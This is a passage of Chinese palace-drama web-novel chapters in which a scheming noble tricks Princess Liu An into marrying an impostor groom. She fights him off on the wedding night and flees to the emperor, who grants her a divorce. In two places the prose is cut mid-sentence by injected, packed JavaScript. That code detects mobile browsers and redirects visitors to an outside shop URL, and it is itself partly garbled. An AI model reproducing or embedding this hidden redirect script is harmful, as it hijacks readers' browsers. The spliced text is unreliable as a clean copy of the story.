“即便是你依了齐国公那些人的意,他们也不会感激你,他们只会把你拉下储君的位置,转头去扶持秦王刘茂登上这太子之位!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274221|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强词夺理!” 太子被蔡桐气得背过身去,嘴里嘟囔着抱怨道:“你可知本宫为你们压下了多少弹劾的奏折?” 蔡桐听到这里,气焰灭了一半,但仍嘴硬道:“哼,我可没让你压下来。” “你!朽木不可雕也!” 好好好,如今自己到是里外不是人了!太子刘牧被蔡桐气得站起身就走。 太子刘牧愤怒地猛地一打开房门,在左脚即将迈出去的时候,伫立在门口,身子微侧,余光看着蔡桐冷言道:“今日本宫与你好话歹话皆已说尽,别的不求你什么,只求来日你受罚行刑之时,可别连累了本宫。” 太子刘牧放下这句话后,便摔门而出,与蔡桐不欢而散。 蔡桐强忍着身上的疼痛,挣扎着起身跪在床上,冲着太子离开的背影喊道:“殿下放心,一人做事一人当,我定不会连累太子殿下!别说是我受罚行刑之日,就算是整个蔡氏一族覆灭之日,我也绝不会连累太子殿下!” 蔡桐与太子的争吵,更是激起了蔡桐想要报复的心理,他把他今日受到的责罚都赖到了永安公主刘安头上。 “让蔡闻蔡旭过来见我!” 待蔡闻蔡旭二人拜过他,蔡桐认真看了眼这蔡闻,秃顶豁牙麻子脸,五短身材还脚跛,多看一眼都倒胃口。 再看一眼蔡闻的弟弟蔡旭,英俊帅气貌不凡,真是让人看了就忍不住想多看几眼。 蔡闻蔡旭可是蔡桐为永安公主“精挑细选”的,可千万别让他失望啊。 蔡桐满意地点头笑道:“二位兄弟很符合公主择婿的要求,待画师为二位做张画像,我亲自呈到陛下和娘娘面前,这事儿就算铁板钉钉了。” “可是……可……我……我可……可……以吗?”蔡闻结结巴巴地问道。蔡闻自身什么情况他自己是知道的,他也只不过是想来晋国公府找族亲买一个老婆罢了,他哪里敢肖想什么公主啊。 蔡桐不可置信地转头望向蔡闻,长得丑陋也就算了,怎么还口吃? 不过又转念一想,既然要恶心永安公主,那此人再好不过了,随即蔡桐得意笑道:“不必担心,我身为咱们颖州蔡氏的下任族长,我自有办法。” 蔡桐随即找来画师,为二人各做了张画像。 蔡桐看过这两张画像,满意地点头,对画师的画技满口夸赞,真是画得惟妙惟肖啊。 蔡桐不怀好意地笑着对画师说道:“你把这两个人的名字调换一下,蔡闻是这个英俊的,蔡旭是那个面目丑陋的。” “这……”画师面露犹豫之色,男女婚配需用这画像,这把美的说成丑的,丑的又说成美的,也忒不地道了,不知道是哪家的姑娘要被骗。 “拿着钱办你事,废什么话。”蔡桐甩出一锭银子,不悦地说道:“你若再敢多言语,这锭银子砸你身上,也能把你身上砸个洞。” 画师低眉顺眼地接过银子,不再继续说什么,只能低头按蔡桐的要求画好。 蔡闻在一旁不解地问道:“世……世子,为……为什……什……” 蔡桐一听到蔡闻说话结结巴巴,顿觉难受,伸手打断蔡闻的话,问起旁边的蔡旭:“你兄长想要说什么,你来替他说。” “兄长只是好奇,世子为什么要这么做?”蔡旭看了眼蔡闻,对着蔡桐恭维道:“不过世子这么做一定有世子的道理,我等谨遵世子安排即可。” 蔡桐听后得意一笑,道:“我这么做自然有我的安排,你们按我说的来就是了,我们是同族的兄弟,我不会害你们的。” “你们先回厢房去吧,等有了进展我再派人去通知你们。”蔡桐的目光一落到蔡闻那张丑陋的脸上,就觉得一阵反胃,于是摆手让二人先回去等消息。 “是。”蔡旭拉着蔡闻拜别蔡桐。 待二人走后,蔡桐满意地收起画像,将画像交给他身旁的仆人,吩咐道:“去吧,把这两份画像送到皇后娘娘宫中。” 25. 闯宫(五)偷梁换柱 长秋宫内,皇后端着蔡闻的画像细细打量着,心中有些不免疑惑,之前听桐儿说这个蔡闻年纪大且丑陋,所以才至今未娶妻,怎么画像上的蔡闻竟这般英俊?皇后又详细翻阅了蔡闻的生平信息,眼神在蔡闻的画像与档案间来回翻看,桐儿到底在搞什么名堂? 皇后带着心中的疑惑,不可置信地问前来送画的国公府的下人:“这个蔡闻你可见过?当真如画像中这样英俊神朗吗?” 国公府的仆人皱着眉头,霎时脑子一片空白,不知该如何回答,若回答不是,回府后免不了世子的一顿打;若回答是,日后事情败露,又是一顿打。仆人思虑再三后,下定决心,最后咬着牙说道:“是。” “那你可知他为何至今未娶啊?”皇后继续问道。永安公主是承道帝最宠爱看重的女儿,如今她们既然想要拉拢永安公主,那为公主择婿这件事就得慎之又慎,否则到最后岂不是要弄巧成拙。 “奴才听世子曾说过,这人是因为之前家道中落,这才耽搁了娶妻成婚,额……如今他又一心扑在诗书之中,指着来日登科中榜入朝为官呢,这才……才拖延至今。”国公府的仆人说把蔡桐教给他的话说与皇后听。 “嗯,倒是个知道用功进取的孩子。”皇后满意地点点头,随即又问道:“国公爷对此人如何做评?” “额……国公爷……额……”世子爷并未教过他这个问题如何回答,因此国公府仆人额头冒汗,不知该如何作答,想了半天,信口胡诌道:“国公爷也觉得好。” “既然兄长都说好,那本宫就放心了。”皇后卷好蔡闻的画像,余光瞥见旁边蔡旭的画像,简直不忍直视,不禁摇头道:“蔡闻的画像本宫留下,你把这个蔡旭的画像拿回去吧。” 皇后忍不住吐槽道:“这样的人,还用得着给拿来给本宫看吗?” 皇后收好蔡闻的画像后,便带着画像去了承道帝的福宁殿。 “陛下——”皇后笑盈盈地拜见承道帝,待平身后,行至承道帝身旁,讨好般地为承道帝研着墨,笑道:“太子自成婚后整个人都沉稳了许多。” 承道帝听后顿了顿,瞥了眼皇后,示意皇后继续说下去,他想听听皇后接下来要说什么。 皇后笑着说道:“如今太子已成婚,可他上头还有一位姐姐一位哥哥还未成婚,臣妾身为后宫之主,一国之母,自然对永安公主、英王的婚事格外上心。” “英王身子不大好,待他身子好些再考虑成婚这事吧。安儿……,安儿也不着急,朕还想让她在朕的身边多养几年呢。” 说起永安公主刘安的婚事,承道帝便想起几年前的事,神色有些不悦,随手放下手中的毛笔,身子往后一仰,靠在椅背上,目光注视着皇后,冷冷道:“前几年,还是你亲自挑选的呢,就开国公家的那个不成器的孙子,正妻还没娶进门呢,家里的妾室就已多如牛毛了。这样的人你敢说与安儿?” “哼,朕都不惜得说你!这次又是什么歪瓜裂枣啊?”承道帝眼神带着嘲讽,乜视着皇后。 “那次确实是臣妾眼拙。”皇后听承道帝提起前几年事,自知理亏,不敢辩驳,只能在一旁赔笑道:“这次这人,保管能让公主满意,让陛下满意。” 皇后见承道帝没有阻拦,旋即拿来蔡闻的画像,献宝似地打开给承道帝看,皇后见承道帝神色有些松动,便已知事情成了一半。 皇后笑道:“陛下且看,这是臣妾的一个远房族亲,因前些年因家道中落而耽误了婚配,臣妾也是看他相貌、品行皆不错,这才斗胆让陛下一观。陛下不也一直在为永安公主挑选合适的夫婿吗,不知陛下以为此人如何?” 承道帝看了一眼画像,顿觉得眼前一亮,确实样貌不凡,于是问道:“在朝中可有官职?” 皇后察觉到承道帝的表情,觉得有戏,因此夸赞道:“前年会试恰逢丁忧,现下正在用功读书,只待来年会试,能够一举中榜呢!” 皇后又忙命人拿出蔡闻平日里做的文章给承道帝看,“陛下请看,这是他平日做的诗文,臣妾看过一两篇,觉得不错。” “不过臣妾文采不大通,还是要让陛下看过才好。”皇后自谦道。 承道帝接过蔡闻平日的文章,边看边不住地点头,满意地拍着皇后的手,夸赞道:“文章倒是很通,确是个不可多得的人才。既如此,明日就让他进宫来,朕亲自见见。” 承道帝心中盘算着,这蔡闻文采斐然,样貌又丰神俊朗,想来安儿会喜欢的。虽说出自颖州蔡氏,但是旁支,想来与主族牵扯不慎,否则怎么会放任他家道中落呢?想来即便是日后处置颖州蔡氏,也不会过分牵连到他。虽说家世差些,但随意给他封个官就是,定不会让安儿受委屈的。 承道帝这般想着,心中也就放心了,只等明日见过这蔡闻本人后再做定夺。 翌日,承道帝召见蔡闻入宫进谏。 承道帝见面前这个蔡闻气宇轩昂,交流起来侃侃而谈,说起话来颇有谈吐,承道帝很是满意,于是悄悄对身旁的吴忠义说道:“去福康宫,把公主请过来,让她亲自来相看相看。” 承道帝又命蔡闻当堂做出一篇文章来,待承道帝看过文章之后,心中对这蔡闻更是满意,也更是喜欢,不禁笑着连连点头称赞。 永安公主刘安听了吴忠义所说的之后,便拉着英王刘元一同来到了福宁殿。 永安公主刘安与英王刘元隔着屏风,远远地关注着正在回话的蔡闻。 刘安见蔡闻文采斐然,还一副器宇轩昂的样子,对蔡闻很是满意,莞尔一笑。 英王刘元看到蔡闻也很是满意,又打听到此人是皇后亲自举荐的,如今又有父皇亲自把关,心中对这蔡闻更是一百个放心。 承道帝与蔡闻交谈过后,对这蔡闻很是满意,当场就为永安公主和蔡闻指婚。 永安公主刘安徐徐从屏风后走出来,站至蔡闻身旁,与蔡闻并肩站立,跪下领旨谢恩。 蔡闻一见到公主,顿时便呆楞住,他从未见过这般美丽的女子,一时间忘了跪下谢恩,嘴里情不自禁地喃喃道:“恍若仙女下凡中。” 承道帝见状,轻咳一声提醒蔡闻,蔡闻这才反应过来,慌忙跪下叩谢皇恩。 五皇女刘宁、六皇子刘赞、七皇子刘昶得此消息后,相约一同来福康宫向永安公主刘安道喜。 “恭喜大姐姐,贺喜大姐姐!” 五皇女刘宁小跑到刘安身边,见刘安在筹备嫁妆单子,不免疑惑道:“大姐姐这是在自己筹备嫁妆吗?” 永安公主刘安放下手中的单子,浅笑道:“原是皇后娘娘负责,只是皇后娘娘才不久接连筹备了四弟的接风宴、太子的婚礼,身体早已欠佳,如今又要强撑着来准备我的婚礼,哪里还吃得消啊!” “嗯,确实,婚礼的礼仪最是繁琐,前不久太子哥哥的婚宴,我光是在一旁看着就累得不行了,更别提是筹备婚宴的人了。”刘宁听后认同地点着头,同刘安一起看着嫁妆明细。 “大姐姐,婚期定在了什么时候?”刘宁欢喜雀跃地问道。 永安公主刘安宠溺地揉着刘宁头发,浅笑道:“定在了六月底的最后一天。” “啊?怎么这么着急?”六皇子刘赞听后不解问道,如今六月初,还有不到十几天就是婚期了。 刘安笑着耐心解释道:“虽说有些仓促,但司天监推算出六月底是上上吉日,父皇和皇后娘娘这才定下了那一天。” “哇!大姐姐,这个凤冠好漂亮啊!”刘宁看到了一旁放着的凤冠,小心翼翼地从匣中取出,放在手上仔细看着,由衷地夸赞着。 刘安略有些惋惜道:“这是父皇找了上百名能工巧匠,连夜赶制出来的,只是时间仓促,还没到珍珠进宫的时节,上头的珍珠品质倒是差了些。” “听说陌南那边的海域,产出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274222|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的珍珠宛若颗鸡蛋那般大,只可惜大姐姐的婚期太早了,要不然我非得寻来一个这么大的珍珠,给姐姐嵌到冠上去。”刘赞一边说,一边兴致勃勃地给众人比划着。 陌南?刘宁的双胞胎哥哥刘茂在陌南就藩,刘宁一听便动了心,急匆匆地就要去陌南为刘安寻来这么大的珍珠。一来可以为大姐姐去找珍珠,二来可以去看望下哥哥和嫂子还朝,还可游历下陌南的好山好水。 “大姐姐等着,我即刻出发,亲自去为大姐姐寻来那大珍珠。待大姐姐成婚之日,一定要让大姐姐成为最美丽的新娘子!”刘宁信誓旦旦地说罢,火急火燎地就出发了,一晃神的功夫,人就没影了。 “阿宁!” “昶儿,你快去拦住阿宁!”刘安见刘宁急冲冲地跑出大殿,担心刘宁路上危险,忙命七皇子刘昶跟上拦住。 待五皇女刘宁与七皇子刘昶二人离开,四下无人之际,六皇子刘赞靠近刘安,犹豫再三,吞吞吐吐道:“大姐姐,国库空虚,先前太子大婚,我就私下填了不少,皇后娘娘及晋国公也填了不少,太子的婚礼才办得算是体面。可如今,哪怕把我的府邸都搬空了,也挡不住国库空虚,况且皇后娘娘又甩手不管,因此……只怕……只怕大姐姐……” 刘安知道刘赞的意思,抬手打断他的话,沉思片刻道:“我知道,我日日伴在父皇左右,自然知道是个什么情况。皇后娘娘撒手不管,我亦能猜到她是什么意思。” 刘安顿了顿,继续说道:“先前你不是说要宫中的采办要比宫外贵上不少吗,既如此,那你便来负责我成婚时的一应采买吧,把能省的都省下来。只一点,不能失了皇家的体面、丢了我的脸面。” “大姐姐!”听到刘安这么放心地把大婚时的采买交给自己,刘赞一时倒有些胆怯了,他有些怕,他怕自己会让大姐姐的婚礼不完美。 “你的本事我是知道的。”刘安看出了刘赞的担忧害怕,语气温和地出言安慰道:“你提议的开境互市,父皇已同意了,只是你得拿出成绩来证明你的能力,父皇才会放心地让你去接手掌管此事。” 刘安温柔地抚过刘赞的脑袋,柔声笑道:“先前太子的婚礼我做不了主,但我的婚礼,我还是能做的了主的,你放心去做就是了。” 刘赞听后,喜悦浮于脸上,激动道:“多谢大姐姐!” 这边,七皇子刘昶才追上了五皇女刘宁,飞身拦在刘宁面前,拽着刘宁就往回福康宫走。 “你撒开!”刘宁挣开刘昶的手,不满道:“你是不是大姐姐教导长大的?怎么一点也不向着大姐姐?” 刘昶听后松开了手,为自己辩解:“我怎么不向着大姐姐了?这是大姐姐让我来拦的你!” “你是男子,自然不知道一顶绝美的凤冠,对一个女子有多么重要。我可不想让大姐姐那么重要的日子,少了那么顶绝美的凤冠。”刘宁带着刘昶一起憧憬地畅想着永安公主刘安戴上凤冠的样子,真是好美啊。 “所以,我一定要去陌南为大姐姐寻来最大最亮的珍珠!”刘宁说罢,便把刘昶赶回去了,自己独自踏上了前去陌南的路。 永安公主是承道帝最宠爱的公主,因此永安公主刘安的婚礼办得极为风光。 大婚之夜,刘安坐在床榻上静静地等着她的驸马。 夜深时,宾客散去,才听到一串脚步声。 一声吱呀的开门声响过后,一道人影在龙凤花烛的烛光映照下,深一脚浅一脚地朝着刘安走来。 刘安透过盖头,隐约察觉出来一丝不对,来的这人像是有些跛脚。 那日在大殿上见到蔡闻时,走起路来好像没有这么一瘸一拐的。 来人离得越来越近,刘安心里早已没了刚才的喜悦,转而一股不安涌上心头。 “公……公……公主……殿……殿下……” 不对,这人不是当日大殿上见到的蔡闻! 26. 闯宫(六)大闹洞房 永安公主刘安听到来人结结巴巴的声音,心中愤怒不已,不待来人的喜秤靠近,便猛得掀起盖头,目光如火地怒视着眼前之人。 只见一个面目丑陋,身材五短的男人,穿着喜服,拿着挑起盖头的喜秤,一脸猥琐地笑着站在她面前。 刘安被吓得惊声尖叫,上身往后倾倒来躲避男人的接近,怒斥道:“你是谁?是谁让你进来的?为何穿着驸马的喜服?” “我……我……我是……是……蔡……蔡闻……啊!”蔡闻见公主害怕得一直躲着他,忙急切又结巴地解释道。 刘安厉声喝退还想着上前一步的蔡闻:“你胡说!你不是蔡闻!本宫见过蔡闻,他不长你这样。” 刘安一边提防着蔡闻,一边四处寻找可以防身的器物,终于,她看见不远处挂着一柄长剑。 蔡闻想起晋国公世子蔡桐交代他的,今夜一定要生米煮成熟饭,现下又见公主对他如此抗拒,便想着霸王硬上弓,强迫公主就范,但到底蔡闻心中还是有些胆怯,只怯生生地上前一步后,就不知该如何下手了。 刘安见蔡闻又逼近自己,拼尽全力推开蔡闻,自己抓着床幔,一个箭步朝着长剑飞扑过去。 蔡闻被刘安猛地推倒在地,摔了个狗吃屎,见刘安要去拿长剑,也顾不得其他的,连滚带爬地到了刘安脚边。 刘安还没拔出长剑,见蔡闻就在脚下,抬起一脚狠狠地踹在蔡闻心窝,但这蔡闻就像张狗皮膏药一样,怎么也甩不掉。 门外蔡闻带来的家丁听到里面的动静,看着晃动的人影,只当是公主驸马的情趣,没想到这么尊贵的公主,竟然看得上这么丑陋的人,还闹得这么大的动静,不由得对视猥琐一笑。 刘安一个转身,手握住剑柄,唰地一下抽出长剑,冲着蔡闻的脑袋削了过去。 蔡闻见公主动真格的,忙吓得往后滚。蔡闻还是被公主砍掉了发冠,削掉了发髻。 刘安用剑指着蔡闻,怒目圆睁,厉声喝道:“滚出去!” 蔡闻见到长剑就指在他的鼻尖,被吓得连连后退几步,正欲转身离去,突然想起蔡桐对他说只要生米煮成熟饭,谁又能把他怎么样呢,难道公主还能休夫?天下可没有女人休夫的例子! 他就不信了,公主难道还敢杀了他不成?天子犯法与庶民同罪,即便是公主,也逃脱不了大江的法度!想至此处,蔡闻心一横,壮着胆子上前一步。 刘安到底只是个没见过血腥、没砍过人的公主,她原本只是想着用长剑防身,只是想着吓退蔡闻,但没想到蔡闻竟然顶着她的剑又上前一步,刘安不得已将剑往回收了一寸,自己也退后了一步。 蔡闻就这么步步紧逼,刘安不得不步步后退。 最终刘安抵着后面的柜子,退无可退。 刘安盯着眼前的这张脸,惊魂未定,带着哭腔大声喊她的侍卫:“金中堂!金中堂!” 门外的金中堂听到永安的呼喊,一个激灵,快步跑到门前,但是被门口的几个蔡家的家丁拦住。 “驸马与公主的洞房花烛夜,你去干什么?” “打扰了公主与驸马的洞房,公主怪罪起来,你担当得起吗?” “这是洞房花烛夜的情趣,你懂什么,去去去,一边待着去。” 金中堂怒目而视,抽出半截佩剑,横在家丁面前,借此威慑家丁。 却不想门口的家丁丝毫不怕,一个个地盯着金中堂的剑,吊儿郎当地说道:“哟,怎么,要动粗?你动我一个试试,敢在蔡府动刀子,你吃了熊心豹子胆了?” “什么蔡府?这是永安公主的公主府,何时姓了蔡?”金中堂怒道,手握在配剑上,欲强行闯进去。 “既嫁做我们主子为妻,那便姓了蔡!” “一边去!” 门口的家丁见金中堂油盐不进,当即摆好了战斗的姿态,还暗中叫人去前厅请人。 金中堂见家丁的架势,一时没了主意,他怕自己闯进去,坏了公主与驸马的洞房花烛夜,坏了公主与驸马的情谊。 但公主在门内求救,金中堂别无他法,只能等在门外等着干着急。 “公……公主,你……你我……已……已已行……过过……过过礼,就是……是是是……夫妻。” 蔡闻结结巴巴地说着,他和公主如今已拜过堂行过礼,那就是夫妻。既然是夫妻,那就要有夫妻之实,即便公主再怎么不愿意,他也是昭告天下的驸马! 刘安心里又气又急又悔又恨,她万万没想到会是这样的一个状况。 刘安见蔡闻一步步逼近,一步一步越来越近,心一横,闭着眼睛一剑劈了过去,长剑锋利,削掉了蔡闻的半只耳朵。 “啊!” 一声惨叫响彻云霄。 蔡闻捂着被削掉的耳朵,痛得倒在地上连连叫唤。 刘安第一次见这么多血喷涌出来,手上已没了握剑的力气,喘着粗气,顺着柜子滑坐在地上,呆愣地看着在地上惨叫的蔡桐,心里一阵后怕。 门外的家丁听到蔡闻的喊叫,纷纷愣住了神,你看我一眼,我看你一眼,不知道里面发生了什么。 金中堂担心公主安危,趁着家丁们愣神的功夫,大力推开他们,顶着被杀头的风险,一脚踹开了房门,但当他看到屋里的景象,不由得愣在原地。 家丁们见金中堂踹开房门,这才反应过来,纷纷上前拦住他,却不想看到了躺在地上疼得哇哇大叫的蔡闻,以及不远处瘫坐在地上的公主,不由得也愣在原地不敢上前。 刘安眼神看向门口出现的人,看到了最前面的金中堂,将剑抵在地上,用剑撑着身体,颤颤巍巍地站了起来。 金中堂回过神来,注意到永安公主刘安摇摇欲坠,忙飞奔到刘安身旁,扶住刘安,担忧问道:“殿下可有受伤?” 刘安怔怔地盯着地上的那半只耳朵,失神木讷地摇着头。 金中堂这才放下心来。 蔡旭闻声从前厅赶了过来,虽然下人在路上已经同他说过了发生了什么,但当他亲眼目睹眼前这血淋淋的一幕,还是被吓了一跳。 蔡旭看见一旁扶着剑的永安公主,又顺着公主的目光看到了地上的半只耳朵,急忙跑到他哥哥蔡闻身旁,查看蔡闻的情况。 蔡旭发现兄长蔡闻的耳朵只剩下半个,还在不停地往外渗血,便抬头不可置信地看向刘安,眼神中带着愤怒,即便是贵为公主也不能这般伤害夫君啊! 刘安看到飞身进门的蔡旭,又看向倒在地上捂着耳朵的蔡闻,眼神在二人身上不停地转换,瞬间就明白了一切。 这群人真是好大的胆子,竟然连父皇都被蒙蔽了,竟然敢欺瞒父皇! 刘安怒上心头,提着长剑冲到蔡旭身前,用剑指着蔡旭的胸口,狠狠啐了一口,怒道:“是你?你们敢欺君?” 蔡旭以为当日大殿之上公主对他一见倾心,便仗着永安公主对他有几分喜欢,揣测公主现在冷静下来了,不会一剑刺死他,因此任凭剑着他,还是大着胆子站起身来,盯着公主道: “永安公主,婚书已下,现在你又和我哥哥蔡闻拜完天地、行过大礼,你们二人已是既定夫妻。” “你既嫁与我哥哥为妻,就应恪守为人妻的本分,以夫为尊。” “我哥哥相貌是生得有些丑陋,可他是真心喜欢你的……”蔡旭话还没说完,便被刘安打断。 “以夫为尊?”刘安听后不由得嗤笑一声,仿佛听到了个天大的笑话: “他算个什么东西?也敢妄想成为我的驸马?也配做我的夫君?” 刘安怒极反笑,她堂堂公主,竟被他们这般戏耍!他们竟还妄想用偷梁换柱这一套拿捏住自己,简直做 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“还轮不到你们来指手画脚!”刘安被拉住衣袖,本想一把甩开,但蔡旭抓得太紧,一时间甩不开,于是一剑割破了衣袖。 金中堂见状,将刘安挡在身后,一个飞踢,把蔡旭狠狠地踹飞五步远,见蔡旭重重地摔在地上后,突破家丁们的拦截,挡在刘安身前,护着刘安走至庭院中。 前厅的蔡桐见蔡旭许久未曾回来,心中隐隐不安,带足了人把庭院围住。 “公主殿下,今晚洞房,这是要去哪儿?”蔡桐坐在软椅上,被家丁们抬到廊上,皮笑肉不笑地看着庭院中间的永安公主刘安与侍卫金中堂。 如今公主府的府兵们皆被灌醉,公主府都是他的人,公主又能跑到哪儿去呢? 蔡旭推开围着他嘘寒问暖的家丁们,连滚带爬地追着二人到了庭院,见蔡桐也从前厅赶过过来,瞬间有了底气,得意地昂头挺胸道:“拦住他们!” 家丁们蜂拥而上,把刘安与金中堂围在中间,但金中堂的实力他们刚刚见识过,因此只是围了个圈,谁也不敢上前卖命。 刘安环顾四周,对如今的状况已猜到了大半,难怪皇后会这么好心地为她说亲,难怪婚期会这么着急定在了六月底! 她可是永安公主!父皇的长女! 只是这里虽说是她的公主府,可只怕已经被蔡桐等人控制住了,若想逃离,唯有进宫,请父皇做主! 刘安躲在金中堂身后,盯着四周,低声下令道:“金中堂,杀出去!” 金中堂听后,点头会意,一手护着刘安,一手使剑击退周围的家丁,就这么突围到了蔡桐脸上,而后又是一脚踹翻了蔡桐的软椅。 蔡桐连人带椅子一起朝后翻去,临倒地前嘴里还大喊着:“抓住他们!” 蔡桐、蔡旭带来的人霎时间乱做一团。 金中堂则趁乱蹬着院墙,带着刘安飞身上了房檐,甩开围堵他们的人群后,落到了隔壁院子里。 幸而是在公主府,他们对府内建筑熟悉,二人在公主府内东奔西跑,几下便找到了马厩。 二人解绳牵马,着急忙慌地来到公主府的后门,后门处两个看守的侍卫被灌得烂醉瘫在地上。 金中堂见后面的人马上就要追过来,急忙扶刘安上马,待公主坐稳后,着急道:“殿下先走一步,我断后!”说罢,金中堂便从后门抄起一杆长枪,与蔡桐的人打斗在一起。 “你小心!” 刘安简单叮嘱一句后,并未过多停留,一扬马鞭,朝着皇宫的方向疾驰而去。 她要远离这个是非之地,她要回宫找父皇做主! 27. 回宫(七)夜闯宫门 待永安公主刘安骑马先行一步后,金中堂转身奔向府内与与蔡桐所带来的家丁们厮打在一起,将家丁们拦在公主府内。 公主府后门这里的打斗吸引到了了一队京中巡夜的官兵,京城巡防是太子分管,蔡桐从小就惧怕太子,因此并不敢与巡夜的官兵起冲突,担心事情闹大,便带着人往府里退。 金中堂边打边退到街上,见蔡桐的人不敢上前,便将手中的长枪朝着人群奋力地投掷出去,长枪狠狠地扎在门头上,威慑中了众人。 随后金中堂翻身上马,快马加鞭,朝着皇宫奋力奔去。 “违反宵禁者,笞打二十!” “尔等何人?竟敢在街上纵马疾驰,还不快停下受罚!” 街上巡查的官兵见有人敢违反宵禁在街上骑马奔驰,并且未停下接受盘查,便设下绊马绳,准备连人带马一起绊倒拿下。 金中堂举着公主的令牌,高喊着: “永安公主在此,尔等退让!” 巡查的官兵一听说是皇室的永安公主,不敢多加阻拦,急忙收起绊马绳,快速让行。 永安公主刘安就这样在金中堂的护送下,一路毫无阻拦地到达宫门处。 此时宫门紧闭,早已下钥,宫门处站着几名深夜值守的侍卫。 “来者何人?” “吾乃永安公主刘安!” 金中堂率先从跳下马,小跑到刘安马旁,将刘安扶下马后,亮出永安公主的令牌,见侍卫们不肯让行,便大力推开值守的侍卫,跑到宫门前大力地叩门,朝着宫门内大喊: “永安公主在此!速开宫门!” “咚——咚——咚——” 宫门处值守的侍卫听到来人是永安公主,不解的相互对视一眼,这是怎么了,是发生了什么大事吗?今日不是公主大婚的日子吗?怎么现在这么狼狈地进宫? 值守的侍卫们虽知道永安公主是承道帝最宠爱的公主,他们得罪不起,但宫有宫规,不得随意打开宫门。 “殿下,宫门下钥后,若无陛下旨意,不得擅开!” “还请殿下明日再进宫。” 刘安见侍卫们拦着不肯开门,思虑再三后,快步上前,迅速拔出侍卫们的佩剑,将剑架在肩膀上,环视一周后,威胁道:“开宫门!” 值守的侍卫们见此情形,犹豫着,既不敢上前,担心公主会伤到自己,若公主受伤,他们恐怕命都要丢了,又担心擅开宫门后会受到责罚,因此只得怔怔地站在原地。 “你们不必担忧违反宫规,待本宫见到父皇,自会向父皇解释,免去你们的刑罚。” 侍卫们见公主这么说,便急忙为公主打开宫门。 宫门慢慢开出一道缝,刘安便迫不及待地闯进宫去。 穿过宫门,迈进皇宫,刘安回到了熟悉的地方。看着周围熟悉的建筑,脚踩着熟悉的地砖,顿时一股委屈浮上心头,刘安一路哭着跑到了承道帝的福宁殿。 承道帝和容嫔得到永安公主夜闯皇宫的消息,面面相觑,今夜不是公主成婚之日吗,怎么就要闯宫了呢?二人才披上外衣,就见公主哭着闯进福宁殿。 “殿下!”吴善辅和吴忠义见永安公主刘安手持长剑闯进福宁殿,吓得魂不附体,扑通一声跪在刘安面前,拦住刘安的路。 刘安此时才反应过来手里还紧握着剑,一松手,丢掉了长剑。 刘安一见到承道帝,如释重负,眼泪夺眶而出,顿时双腿不稳,踉跄一步。 “殿下——”容嫔见状,担心地迎上去,搀扶住踉跄的刘安。 承道帝见女儿险些摔倒,心也不由得紧张一瞬。 刘安眼里噙着泪,在容嫔的搀扶下来到承道帝身边,伏在承道帝膝上失声痛哭。 承道帝见女儿哭得十分伤心,心疼不已,忙拍着她的后背轻声安抚道:“安儿不哭,安儿不哭,告诉父皇这是怎么了?是谁欺负你了?” “父皇——” “容娘娘——” 刘安哽咽着抬头,泪眼婆娑地看向承道帝与容嫔,想到今夜自己受到的屈辱和惊吓,话还没说完,又止不住的低头放声哭泣。 容嫔见状,忙把刘安揽到怀里,轻柔地拍着刘安的后背,安抚着刘安,回头对着承道帝道:“陛下,想必公主是受到了极大的惊吓,才会这般泣不成声,不如先让臣妾带公主去偏殿缓缓。” 承道帝点头同意,对着永安说:“安儿不要怕,不论遇到什么事,父皇会为你做主。” 刘安听后,安心地跟着容嫔去了偏殿。 待容嫔扶着刘安去偏殿后,承道帝看向跪在地上的金中堂。 “你是公主的侍卫,自然知道发生了什么,你来说。” 于是金中堂将他看到的情况说了出来,蔡闻蔡旭是如何欺瞒公主,蔡闻又是如何欺辱公主,蔡桐又是如何命人围剿他与公主,全都一五一十一字不落地说与承道帝听。 “什么?”承道帝听完后当即怒了,他没想到姓蔡的这群人胆子竟然这么大,他还在位呢,安儿还是他最宠爱的女儿,姓蔡的就堂而皇之地算计到他女儿头上,明目张胆地欺负到他的女儿头上! “蔡闻蔡旭欺君罔上,即刻赶出京去,流放南疆,永不许再进京!” 说完这些,承道帝当即大步流星走至书桌前,提起笔杆,亲自替永安公主写下休夫书。 吴善辅在一旁,犹豫再三后,小心翼翼开口道:“陛下,只怕……不妥。” “有何不妥?” “陛下,天底下还没有女子休夫的先例,只怕……” “既没有先例,那朕便为天下女子开创这先例!” 承道帝放笔,一纸休夫书便解除了永安公主与蔡闻的婚姻,随即将休夫书甩到吴善辅手上,道:“去传!” “是。” 偏殿内,容嫔虽不知公主发生了什么,但看公主现在这副样子,便知不会是什么好事。 “殿下受惊了。” 容嫔心疼地擦去刘安脸上的泪水与汗水,这才注意到刘安身上的血迹,顿时神色一惊,脸色大变,仔仔细细地检查刘安是否有受伤。 刘安看着面前的容嫔,脑子里紧绷的那根弦在此刻放松了,紧接着松了口气,嘴角扯出一抹苦笑,有气无力道:“容娘娘不要担心,这血迹不是我的,是那个……那个驸马的。” 刘安说完,不由得双眼无神地苦哼一声,想她刘安的前半生,上有父皇捧在手心里的疼爱,下有弟弟妹妹们的爱护敬重,没想到后半生竟要与蔡闻这样的人潦草度过。 容嫔见刘安又悲又笑,担心刘安受到刺激,忙将刘安拥入怀里,把刘安当成她自己的孩子一般,轻轻安抚着她。 